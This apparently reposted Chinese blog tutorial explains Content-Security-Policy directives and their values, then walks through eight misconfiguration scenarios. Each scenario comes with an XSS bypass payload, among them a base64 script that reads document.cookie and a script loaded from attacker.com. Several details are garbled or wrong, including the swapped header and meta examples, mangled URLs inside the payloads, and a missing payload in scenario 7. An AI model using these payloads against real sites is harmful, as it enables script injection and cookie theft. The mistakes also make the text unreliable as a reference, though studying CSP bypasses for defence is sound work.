csp(Content-Security-Policy)内容安全策略

csp是网页应用中常见的以中安全保护机制,通过安全策略的配置来控制外部资源的引入,如js脚本,图片,iframe等是否能被页面调用执行。

csp可以通过响应头的米标签的字段来实现,是浏览器的一种响应策略,可以防御xss攻击。

csp实现方式

  1. 通过html米标签实现
    Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

  2. 通过响应头(Response Header)实现 
    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src ; child-src 'none';">

csp的常用配置参数

csp的参数配置
参数字段说明
default-src这是一个默认参数配置指令,如果CSP头中没有其他的配置,则浏览器遵循该默认配置
frame-src这个指令限制哪些frames可以通过URL被调用;
img-src该指令限定哪些资源可以在网页中载入图片
Manifest-src该指令定义哪些应用的manifest文件可以被引入
media-src 该指令定义允许<audio>、<video>、和<track>等标签加载的多媒体对象
object-src 该指令定义允许<oject>、<embed>、和<applet>等标签引入的对象资源
form-action该指令可指定<form>标签中提交action的清单
plugin-types该指令定义哪些MIME类型的资源可以被网页调用
upgrade-insecure-requests该指令是要求浏览器升级重写URL请求的,把不安全的HTTP请求升级到安全的HTTPS请求,适用于站点中仍存在大量的旧的http资源。
script-src:这个参数指令定义哪些javascript的源可以被引入;不仅包括通过<script>标签URL引入的js,而且包括内联js事件处理器中的js脚本
child-src:定义使用<frame>和<iframe>等元素加载的web工作程序和嵌套浏览上下文的有效源。
connect-src这个指令限制通过<a>标签、fetch指令、websocket协议、XMLHttpRequest等方式加载URL内容
frame-ancestors这个指令参数指定哪些内容可以被嵌入到当前页面中。该指令可应用于<frame>、<iframe>、<embed>、以及<applet>等标签中,它不能用在<meta>标签中,并且只对非HTML的资源生效。

csp配置参数常用的值

参数的值
描述
*星号表示允许任何URL资源,没有限制;
self 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;

unsafe-inline

允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;

unsafe-eval

允许使用动态代码求值,如eval、setImmediate和window.execScript。
Host仅允许从特定主机加载资源,方案、端口和路径可选。e、 例如,example.com,*.example.com,https://*.example.com:12/path/to/file.js
nonce-*通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
sha*-*仅允许在特定方案上加载资源,应始终以“:”结束。e、 例如https:,http:,data:等。
data仅允许数据模式(如Base64编码的图片)方式加载资源;
none不允许任何资源被加载;

绕过csp配置

场景1

Content-Security-Policy: script-src https://sina.comhttps://baidu.com'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;

通过观察策略配置不难发现,在script-src指令中允许不安全的内联资源,那么可以通过引入内联脚本达到执行命令的目的:

payload: "/><script>alert(xss);</script>

场景2:

Content-Security-Policy: script-src https://sina.comhttps://baidu.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;

这个配置则是错误的使用了unsafe-eval指令值,由于使用了data配置,不能直接使用script脚本,可通过base64进行编码,可构造以下payload:

<script src="https://www.freebuf.com/articles/web/data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>

场景3 :

Content-Security-Policy: script-src 'self' https://sina.com https://baidu.com https: data *; child-src 'none'; report-uri /Report-parsing-url;

这个配置在script-src指令中错误的使用了通配符,可以构造以下payload:

working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=https://www.freebuf.com/articles/web/data:text/javascript,alert(1337)></script>

场景4:

Content-Security-Policy:script-src ‘self’ report-uri /Report-parsing-url;

这个配置中缺少了default-src和object-src配置,那么可以构造以下payload:

working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>

场景5:

Content-Security-Policy: script-src ‘self’ https://www.baidu.comobject-src ‘none’; report-uri: /Report-parsing-uri;

这个配置场景中,script-src被设置为self并且加了白名单配置,可以使用jsonp绕过。Jsonp允许不安全的回调方法从而允许攻击者执行xss,payload如下:

:"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

场景6:

Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’; report-uri /Report-parsing-url;

如果应用使用angular并且脚本都是从一个白名单域中加载的,通过调用回调函数或者有漏洞的类从而绕过CSP策略,详细的细节可以参考:

https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:”Sh*t, -it’s-CSP!”

Payload如下:

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=https://www.freebuf.com//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

场景7:

Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;

在上面的配置场景中,通过script-src定义了两个可以加载js脚本的白名单域。如果白名单域中任何一个域有开放的跳转链接那么CSP可以被绕过,攻击者可以构造payload使用该跳转链接跳转到另外一个支持jsonp调用的白名单域中,这种场景中,因为CSP只会检查域名host是否合法,不会检查路径参数,从而导致XSS被执行,payload如下:

Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;

场景8:

Content-Security-Policy: default-src ‘self’ data:*; connect-src ‘self’; script-src ‘self’; report-uri /_csp; upgrade-insecure-requests;

该场景下的CSP能够通过使用iframes绕过,前提是应用允许加载来自白名单域的iframes,满足前提的情况下,那么可以通过使用iframe的一个特殊属性srcdoc来执行XSS,payload如下:

<iframe srcdoc='<script src="https://www.freebuf.com/articles/web/data:text/javascript,alert(document.domain)"></script>'></iframe>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值